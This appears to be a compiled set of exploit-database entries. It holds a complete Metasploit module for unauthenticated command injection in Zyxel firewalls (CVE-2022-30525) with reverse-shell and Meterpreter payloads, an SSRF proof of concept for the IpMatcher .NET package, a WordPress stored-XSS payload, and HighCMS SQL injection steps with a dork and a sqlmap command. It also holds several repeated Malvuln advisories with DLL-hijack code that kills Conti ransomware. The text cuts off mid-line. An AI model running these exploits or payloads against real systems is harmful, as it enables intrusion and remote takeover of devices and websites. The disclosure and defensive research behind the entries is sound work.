<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',<br /> 'Description' => %q{<br /> This module exploits CVE-2022-30525, an unauthenticated remote<br /> command injection vulnerability affecting Zyxel firewalls with zero<br /> touch provisioning (ZTP) support. By sending a malicious setWanPortSt<br /> command containing an mtu field with a crafted OS command to the<br /> /ztp/cgi-bin/handler page, an attacker can gain remote command execution<br /> as the nobody user.<br /><br /> Affected Zyxel models are:<br /><br /> * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below<br /> * USG20-VPN and USG20W-VPN using firmware 5.21 and below<br /> * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'jbaines-r7' # Vulnerability discovery and Metasploit module<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2022-30525' ],<br /> [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']<br /> ],<br /> 'DisclosureDate' => '2022-04-28',<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_MIPS64,],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Shell Dropper',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_MIPS64],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => [ 'curl', 'wget' ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Base path', '/'])<br /> ])<br /> end<br /><br /> # Checks the build date that is embedded in the landing page. If it finds a build<br /> # date older than April 20, 2022 then it will additionally check if the model is<br /> # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this<br /> # seems like a reasonable approach.<br /> def check<br /> res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))<br /> unless res<br /> return CheckCode::Unknown('The target failed to respond to check.')<br /> end<br /><br /> unless res.code == 200<br /> return CheckCode::Safe('Failed to retrieve /')<br /> end<br /><br /> ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]<br /> if ver.nil?<br /> return CheckCode::Safe('Could not extract a version number')<br /> end<br /><br /> if ver[0..5].to_i < 220420<br /> model = res.get_html_document.xpath('//title').text<br /> if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))<br /> return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")<br /> end<br /> end<br /><br /> CheckCode::Safe("This determination is based on the build date string: #{ver}.")<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')<br /> print_status("Sending command to #{handler_uri}")<br /><br /> # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too<br /> # but it's more involved.<br /> http_payload = {<br /> 'command' => 'setWanPortSt',<br /> 'proto' => 'dhcp',<br /> 'port' => Rex::Text.rand_text_numeric(4).to_s,<br /> 'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,<br /> 'vlanid' => Rex::Text.rand_text_numeric(4).to_s,<br /> 'mtu' => ";#{cmd};",<br /> 'data' => ''<br /> }<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => handler_uri,<br /> 'headers' =><br /> {<br /> 'Content-Type' => 'application/json; charset=utf-8'<br /> },<br /> 'data' => http_payload.to_json<br /> })<br /> # Successful exploitation can result in no response (connection being held open by a reverse shell)<br /> # or, if the command executes immediately, a response with a 503.<br /> if res && res.code != 503<br /> fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")<br /> end<br /> print_good('Command successfully executed.')<br /> end<br /><br /> def exploit<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager<br /> end<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: SSRF in .NET C# IpMatcher v1.0.4.1 and below NuGet package: CVE-2021-33318 IpMatcher v1.0.4.1 and below for .NET Core 2.0 and .NET Framework 4.5.2. incorrectly validates octal & hexadecimal input data, leading to indeterminate SSRF, LFI, RFI, and DoS vectors.<br /># Date: 22/09/2022<br /># Exploit Author: Kelly Kaoudis & Sick Codes<br /># Vendor Homepage: https://www.nuget.org/packages/IpMatcher/1.0.4.2<br /># Version: 1.0.4.1 and below<br /># Tested on: macOS, Linux, Windows<br /># CVE: CVE-2021-33318<br /># Reference: https://github.com/kaoudis/advisories/blob/main/0-2021.md<br /># Reference: https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-060.md<br /><br />/* Author: Kelly Kaoudis<br />* License: GPLv3<br />*<br />* Requires:<br />* `dotnet add package IpMatcher --version 1.0.4.1`<br />*<br />* To run:<br />* `dotnet run`<br />*/<br /><br />using System;<br />using IpMatcher;<br /><br />namespace dotnet<br />{<br /> class PoC<br /> {<br /> private static void checkExists(Matcher matcher, string ip, string mask)<br /> {<br /> if (matcher.Exists(ip, mask))<br /> {<br /> Console.WriteLine("matches on " + ip + " / " + mask);<br /> }<br /> else<br /> {<br /> Console.WriteLine("DOES NOT match on " + ip + " / " + mask);<br /> }<br /> }<br /><br /> private static void checkMatchExists(Matcher matcher, string ip)<br /> {<br /> if (matcher.MatchExists(ip))<br /> {<br /> Console.WriteLine("matches on " + ip);<br /> }<br /> else<br /> {<br /> Console.WriteLine("DOES NOT match on " + ip);<br /> }<br /><br /> }<br /><br /> private static void dumpMatcher(Matcher matcher)<br /> {<br /> Console.WriteLine("\nWhat is actually in the matcher now (if nothing follows on the next line, nothing)?");<br /> foreach (string addr in matcher.All())<br /> {<br /> Console.WriteLine("address from matcher: " + addr);<br /> }<br /> Console.WriteLine("");<br /> }<br /><br /> static void Main(string[] args)<br /> {<br /> Console.WriteLine("Constructing a new IpMatcher#Matcher...");<br /> Matcher matcher = new Matcher();<br /> // nothing in the matcher yet<br /> dumpMatcher(matcher);<br /><br /> Console.WriteLine("adding 192.31.196.0 / 0.0.0.0 (mask)");<br /> matcher.Add("192.31.196.0", "0.0.0.0");<br /><br /> // contains 0.0.0.0 / 0.0.0.0 (incorrect)<br /> dumpMatcher(matcher);<br /><br /> checkExists(matcher, "192.31.196.2", "0.0.0.0");<br /> checkExists(matcher, "192.31.196.1", "0.0.0.0");<br /> checkExists(matcher, "192.31.196.0", "0.0.0.0"); // should match but does not<br /> checkExists(matcher, "0.0.0.0", "255.0.0.0"); //should not match<br /> checkExists(matcher, "0.0.0.0", "0.0.0.0");<br /><br /> checkMatchExists(matcher, "0.0.0.0");<br /> checkMatchExists(matcher, "192.31.196.0");<br /> checkMatchExists(matcher, "192.31.196.1");<br /> //checkMatchExists(matcher, "0192.031.0196.0"); throws parse exception and not sure why<br /> checkMatchExists(matcher, "0300.037.0304.0"); // octal for 192.31.196.0<br /> checkMatchExists(matcher, "0300.037.0304.01");<br /> checkMatchExists(matcher, "0300.036.0304.0"); // should not match but does<br /> checkMatchExists(matcher, "0100.0100.0100.0100"); // should not match but does<br /><br /> // checkMatchExists(matcher, "aaaaaaaaaa"); thankfully results in exception<br /><br /> // results in invalid argument exception<br /> // if (matcher.MatchExists("0192.031.0196.02"))<br /> // {<br /> // Console.WriteLine("gross! matches 0192.031.0196.02");<br /> // }<br /><br /> Console.WriteLine("adding 192.168.0.0 / 255.0.0.0 (mask)");<br /> matcher.Add("192.168.0.0", "255.0.0.0");<br /><br /> checkExists(matcher, "192.167.0.1", "255.0.0.0");<br /> checkExists(matcher, "192.168.0.0", "255.0.0.0");<br /> checkExists(matcher, "192.168.1.1", "255.0.0.0");<br /> checkMatchExists(matcher, "172.13.2.15");<br /> checkMatchExists(matcher, "010.1.1.1");<br /> checkMatchExists(matcher, "4.4.4.4");<br /><br /> Console.WriteLine("adding 0300.055.0250.0 / 1.1.0.0 (mask)");<br /> matcher.Add("0300.055.0250.0", "1.1.0.0");<br /><br /> checkExists(matcher, "192.45.168.0", "1.1.0.0");<br /> checkExists(matcher, "0300.055.0250.0", "0.0.0.0");<br /> checkExists(matcher, "0300.055.0250.0300", "1.1.0.0");<br /> checkExists(matcher, "0288.055.0250.0", "1.1.0.0");<br /><br /> checkMatchExists(matcher, "2130706433");<br /> checkMatchExists(matcher, "017700000001");<br /> checkMatchExists(matcher, "3232235521");<br /> checkMatchExists(matcher, "3232235777");<br /> checkMatchExists(matcher, "0x7f.0x00.0x00.0x01");<br /> checkMatchExists(matcher, "0xc0.0xa8.0x00.0x14");<br /><br /> Console.WriteLine("adding 0300.055.0250.0 / 0377.0.0.0 (mask)");<br /> matcher.Add("0300.055.0250.0", "0377.0.0.0");<br /><br /> Console.WriteLine("adding 0250.0300.010.010 / 0.0.0.0 (mask)");<br /> matcher.Add("0250.0300.010.010", "0.0.0.0");<br /><br /> Console.WriteLine("adding 0250.0300.010.010 / 010.010.010.0 (mask)");<br /> matcher.Add("0250.0300.010.010", "010.010.010.0");<br /><br /> // anything ending in 8 or 9 doesn't work<br /> Console.WriteLine("adding 0172.057.0.0 / 0.0.0.0 (mask)");<br /> matcher.Add("0172.057.0.0", "0.0.0.0");<br /><br /> Console.WriteLine("adding 0172.057.0.0 / 055.055.013.0 (mask)");<br /> matcher.Add("0172.057.0.0", "055.055.013.0");<br /><br /> // matcher.Add("08.09.0.0", "01.01.01.0"); fails as it should<br /><br /> Console.WriteLine("adding 010.010.0172.0 / 0.0.0.0 (mask)");<br /> matcher.Add("010.010.0172.0", "0.0.0.0");<br /><br /> Console.WriteLine("adding 010.010.0172.0 / 01.01.01.01 (mask)");<br /> matcher.Add("010.010.0172.0", "01.01.01.01");<br /><br /> Console.WriteLine("adding 010.010.0172.0 / 010.010.0172.010 (mask)");<br /> matcher.Add("010.010.0172.0", "010.010.0172.010");<br /><br /> Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");<br /> matcher.Add("010.010.0172.0", "010.010.0.010");<br /><br /> Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");<br /> matcher.Add("010.010.0172.0", "010.010.0255.010");<br /><br /> Console.WriteLine("adding 0xaa.0xaa.0xaa.0xaa / 0xaa.0xfe.0xfe.0xfe (mask)");<br /> matcher.Add("0xaa.0xaa.0xaa.0xaa", "0xfe.0xfe.0xfe.0xfe");<br /><br /> // fails with exception as it should as 0xfff is tooooo biggggg<br /> // matcher.Add("0xfff.0xfff.0xfff.0x0", "0x0.0x0.0x0.0x0");<br /><br /> Console.WriteLine("adding 0xf0.0x0.0x0.0x0 / 0xff.0x0.0x0.0x0 (mask)");<br /> matcher.Add("0xf0.0x0.0x0.0x0", "0xff.0x0.0x0.0x0");<br /><br /> // now contains the following:<br /> // 0.0.0.0/0.0.0.0<br /> // 192.0.0.0/255.0.0.0<br /> // 0.1.0.0/1.1.0.0<br /> // 192.0.0.0/0377.0.0.0<br /> // 8.0.8.0/010.010.010.0<br /> // 40.45.0.0/055.055.013.0<br /> // 8.8.122.0/010.010.0172.010<br /> // 8.8.0.0/010.010.0.010<br /> // 8.8.40.0/010.010.0255.010<br /> // 170.170.170.170/0xfe.0xfe.0xfe.0xfe<br /> // 240.0.0.0/0xff.0x0.0x0.0x0<br /> dumpMatcher(matcher);<br /> }<br /> }<br />}<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/eedd1cfc7acd012bbec464aebc679ee4.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.Conti<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: eedd1cfc7acd012bbec464aebc679ee4<br />Vuln ID: MVID-2022-0606<br />Disclosure: 05/13/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "CRYPTSP.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "CRYPTSP.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//Purpose: Exploit Conti<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c CRYPTSP.c -m32<br />//gcc -shared -o CRYPTSP.dll CRYPTSP.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Conti\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/146ec3f6c262d0f287e67ddb3cc69892.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.Conti<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: 146ec3f6c262d0f287e67ddb3cc69892<br />Vuln ID: MVID-2022-0605<br />Disclosure: 05/13/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "CRYPTSP.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "CRYPTSP.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//Purpose: Exploit Conti<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c CRYPTSP.c -m32<br />//gcc -shared -o CRYPTSP.dll CRYPTSP.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Conti\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin WP Event Manager - Stored Cross Site<br />Scripting<br /># Date: 15-05-2022<br /># Exploit Author: Mariam Tariq - HunterSherlock<br /># Vendor Homepage: https://wordpress.org/plugins/wp-event-manager/<br /># Version: 3.1.27<br /># Tested on: Firefox<br /># Contact me: mariamtariq404@gmail.com<br /><br /><br />#Steps To Reproduce :<br /><br />1 - First Install the plugins - wp-event-manager and activate it.<br />2 - Go to event manager —> Add New<br />3 - Inside the “”Event Title” at the top, enter XSS payload “><img src=x<br />onerror=alert(1)> and hit publish.<br />4 - Check the newly made event’s URL /event/{id}/ , XSS will trigger.<br /><br />#Poc Image :<br /><br />https://imgur.com/J1Q3x5u<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/0c4502d6655264a9aa420274a0ddeaeb.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.Conti<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: 0c4502d6655264a9aa420274a0ddeaeb<br />Vuln ID: MVID-2022-0604<br />Disclosure: 05/13/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "netapi32.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "netapi32.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//Purpose: Exploit Conti<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c netapi32.c -m32<br />//gcc -shared -o netapi32.dll netapi32.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Conti\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: HighCMS/HighPortal v12.x SQL Inj<br /># Type : WEBAPPS "HighCMS/HighPortal"<br /># Platform : ASP.NET<br /># Date : 4/23/2022<br /># Exploit Author : E1.Coders<br /># Software Link : https://aryanic.com/page/portal<br /># Version : v12.x<br /># Category : Webapps<br /># Tested on: Linux/Windows<br /># Google Dork: inurl:index.jsp?siteid=1&fkeyid=&siteid=1&pageid=<br /> <br /># Google Dork: <©2022 HighCMS/HighPortal"<br /> <br />Step 1: Enter the address of the "page" that has the problem of sql injection attacks <br />http: //TARGET/index.jsp? Siteid = 1 & fkeyid = & siteid = 1 & pageid = 6528 Default credentials. ( is True )<br />STEP 2 : Send the following request "<br />or<br />Use sqlmap : python sqlmap.py -u "https://example.ir/index.jsp?siteid=1&fkeyid=&siteid=1&pageid=11211"<br /> <br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/6748dfe8e64dea2fc4c14691f7e766c6.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.Conti<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: 6748dfe8e64dea2fc4c14691f7e766c6<br />Vuln ID: MVID-2022-0603<br />Disclosure: 05/13/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "netapi32.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "netapi32.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//Purpose: Exploit Conti<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c netapi32.c -m32<br />//gcc -shared -o netapi32.dll netapi32.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Conti\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/7ba20fce7ac259f6062f73290c2e28cf.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.Conti<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: 7ba20fce7ac259f6062f73290c2e28cf<br />Vuln ID: MVID-2022-0602<br />Disclosure: 05/13/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "netapi32.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "netapi32.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//Purpose: Exploit Conti<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c netapi32.c -m32<br />//gcc -shared -o netapi32.dll netapi32.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Conti\nPWNED By MALVULN", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/b485c36f28c5c967a50001c9e8d2c29c.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.Conti<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: b485c36f28c5c967a50001c9e8d2c29c<br />Vuln ID: MVID-2022-0601<br />Disclosure: 05/13/2022<br /><br /><br />Exploit/PoC:<br />1) Compile the following C code as "netapi32.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "netapi32.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//Purpose: Exploit Conti<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c netapi32.c -m32<br />//gcc -shared -o netapi32.dll netapi32.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, 